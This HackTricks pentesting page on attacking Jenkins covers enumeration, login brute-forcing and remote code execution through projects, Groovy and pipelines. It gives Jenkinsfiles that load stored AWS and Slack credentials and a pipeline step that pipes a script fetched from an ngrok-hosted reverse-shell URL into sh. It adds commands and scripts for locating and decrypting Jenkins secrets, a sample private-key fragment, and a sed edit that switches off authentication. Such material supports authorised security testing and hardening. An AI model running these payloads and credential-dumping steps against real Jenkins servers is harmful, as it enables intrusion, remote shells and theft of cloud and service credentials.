Support HackTricks and get benefits!
- If you want to see your company advertised in HackTricks or if you want access to the latest version of the PEASS or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Jenkins offers a simple way to set up a continuous integration or continuous delivery (CI/CD) environment for almost any combination of languages and source code repositories using pipelines, as well as automating other routine development tasks. While Jenkins doesn’t eliminate the need to create scripts for individual steps, it does give you a faster and more robust way to integrate your entire chain of build, test, and deployment tools than you can easily build yourself.
Definition from here.
{% content-ref url="basic-jenkins-information.md" %} basic-jenkins-information.md {% endcontent-ref %}
In order to search for interesting Jenkins pages without authentication like (/people or /asynchPeople, this lists the current users) you can use:
msf> use auxiliary/scanner/http/jenkins_enum
Check if you can execute commands without needing authentication:
msf> use auxiliary/scanner/http/jenkins_command
Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for usernames.
You may be able to get the Jenkins version from the path /oops or /error
{% embed url="https://github.com/gquere/pwn_jenkins" %}
In the basic information you can check all the ways to login inside Jenkins:
{% content-ref url="basic-jenkins-information.md" %} basic-jenkins-information.md {% endcontent-ref %}
You will be able to find Jenkins instances that allow you to create an account and login inside of it. As simple as that.
Also if SSO functionality/plugins were present then you should attempt to log-in to the application using a test account (i.e., a test Github/Bitbucket account). Trick from here.
Jekins does not implement any password policy or username brute-force mitigation. Then, you should always try to brute-force users because probably weak passwords are being used (even usernames as passwords or reverse usernames as passwords).
msf> use auxiliary/scanner/http/jenkins_login
Use this python script or this powershell script.
Many orgs combines SaaS-based source control management (SCM) systems (like GitHub or GitLab) with an internal, self-hosted CI solution (e.g. Jenkins, TeamCity) allowing these CI systems to receive webhook events from the SaaS source control vendors, for the simple purpose of triggering pipeline jobs.
Therefore, the orgs whitelists the IP ranges of the SCM allowing them to reach the internal CI system with webhooks. However, note how anyone can create an account in Github or Gitlab and make it trigger a webhook that could send a request to that internal CI system.
{% content-ref url="scm-ip-whitelisting-bypass.md" %} scm-ip-whitelisting-bypass.md {% endcontent-ref %}
In these scenarios we are going to suppose you have a valid account to access Jenkins.
{% hint style="warning" %} Depending on the Authorization mechanism configured in Jenkins and the permission of the compromised user you might be able or not to perform the following attacks. {% endhint %}
For more information check the basic information:
{% content-ref url="basic-jenkins-information.md" %} basic-jenkins-information.md {% endcontent-ref %}
If you have accessed Jenkins you can list other registered users in http://127.0.0.1:8080/asynchPeople/
Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
If the compromised user has enough privileges to create/modify a new Jenkins node and SSH credentials are already stored to access other nodes, he could steal those credentials by creating/modifying a node and setting a host that will record the credentials without verifying the host key:
You will usually find Jenkins ssh credentials in a global provider (/credentials/
), so you can also dump them as you would dump any other secret. More information in the Dumping secrets section.
Getting a shell in the Jenkins server gives the attacker the opportunity to leak all the secrets and env variables and to exploit other machines located in the same network or even gather cloud credentials.
By default, Jenkins will “run as system” builds. In other words, they assign it to the all-powerful SYSTEM user, meaning any action executed during the build has permission to do whatever it wants.
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{% content-ref url="jenkins-rce-creating-modifying-project.md" %} jenkins-rce-creating-modifying-project.md {% endcontent-ref %}
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
{% content-ref url="jenkins-rce-with-groovy-script.md" %} jenkins-rce-with-groovy-script.md {% endcontent-ref %}
You can also get RCE by creating/modifying a pipeline:
{% content-ref url="jenkins-rce-creating-modifying-pipeline.md" %} jenkins-rce-creating-modifying-pipeline.md {% endcontent-ref %}
To exploit pipelines you still need to have access to Jenkins.
Pipelines can also be used as build mechanism in projects, in that case it can be configured a file inside the repository that will contains the pipeline syntax. By default /Jenkinsfile
is used:
It's also possible to store pipeline configuration files in other places (in other repositories for example) with the goal of separating the repository access and the pipeline access.
If an attacker have write access over that file he will be able to modify it and potentially trigger the pipeline without even having access to Jenkins.
It's possible that the attacker will need to bypass some branch protections (depending on the platform and the user privileges they could be bypassed or not).
The most common triggers to execute a custom pipeline are:
- Pull request to the main branch (or potentially to other branches)
- Push to the main branch (or potentially to other branches)
- Update the main branch and wait until it's executed somehow
{% hint style="info" %} If you are an external user you shouldn't expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline... but if it's bad configured you could fully compromise companies just by exploiting this. {% endhint %}
In the previous RCE section it was already indicated a technique to get RCE modifying a pipeline.
It's possible to declare clear text env variables for the whole pipeline or for specific stages. This env variables shouldn't contain sensitive info, but and attacker could always check all the pipeline configurations/Jenkinsfiles:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
For information about how are secrets usually treated by Jenkins check out the basic information:
{% content-ref url="basic-jenkins-information.md" %} basic-jenkins-information.md {% endcontent-ref %}
Credentials can be scoped to global providers (/credentials/
) or to specific projects (/job/<project-name>/configure
). Therefore, in order to exfiltrate all of them you need to compromise at least all the projects that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a secret inside the env of a pipeline you need to know the name and type of the secret. For example, you try lo load a usernamePassword
secret as a string
secret you will get this error:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Here you have the way to load some common secret types:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
At the end of this page you can find all the credential types: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
{% hint style="warning" %}
The best way to dump all the secrets at once is by compromising the Jenkins machine (running a reverse shell in the built-in node for example) and then leaking the master keys and the encrypted secrets and decrypting them offline.
More on how to do this in the Nodes & Agents section and in the Post Exploitation section.
{% endhint %}
From the docs: The triggers
directive defines the automated ways in which the Pipeline should be re-triggered. For Pipelines which are integrated with a source such as GitHub or BitBucket, triggers
may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are cron
, pollSCM
and upstream
.
Cron example:
triggers { cron('H */4 * * 1-5') }
Check other examples in the docs.
A Jenkins instance might have different agents running in different machines. From an attacker perspective, access to different machines means different potential cloud credentials to steal or different network access that could be abuse to exploit other machines.
For more information check the basic information:
{% content-ref url="basic-jenkins-information.md" %} basic-jenkins-information.md {% endcontent-ref %}
You can enumerate the configured nodes in /computer/
, you will usually find the **Built-In Node
** (which is the node running Jenkins) and potentially more:
It is specially interesting to compromise the Built-In node because it contains sensitive Jenkins information.
To indicate you want to run the pipeline in the built-in Jenkins node you can specify inside the pipeline the following config:
pipeline {
agent {label 'built-in'}
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
msf> post/multi/gather/jenkins_gather
You can list the secrets accessing /credentials/
if you have enough permissions. Note that this will only list the secrets inside the credentials.xml
file, but build configuration files might also have more credentials.
If you can see the configuration of each project, you can also see in there the names of the credentials (secrets) being use to access the repository and other credentials of the project.
{% content-ref url="jenkins-dumping-secrets-from-groovy.md" %} jenkins-dumping-secrets-from-groovy.md {% endcontent-ref %}
These files are needed to decrypt Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Such secrets can usually be found in:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Here's a regex to find them:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
If you have dumped the needed passwords to decrypt the secrets, use this script to decrypt those secrets.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
println(hudson.util.Secret.decrypt("{...}"))
- Access the Jenkins config.xml file in
/var/lib/jenkins/config.xml
orC:\Program Files (x86)\Jenkis\
- Search for the word
<useSecurity>true</useSecurity>
and change the word **true
** tofalse
.sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
- Restart the Jenkins server:
service jenkins restart
- Now go to the Jenkins portal again and Jenkins will not ask any credentials this time. You navigate to "Manage Jenkins" to set the administrator password again.
- Enable the security again by changing settings to
<useSecurity>true</useSecurity>
and restart the Jenkins again.
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
Support HackTricks and get benefits!
- If you want to see your company advertised in HackTricks or if you want access to the latest version of the PEASS or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.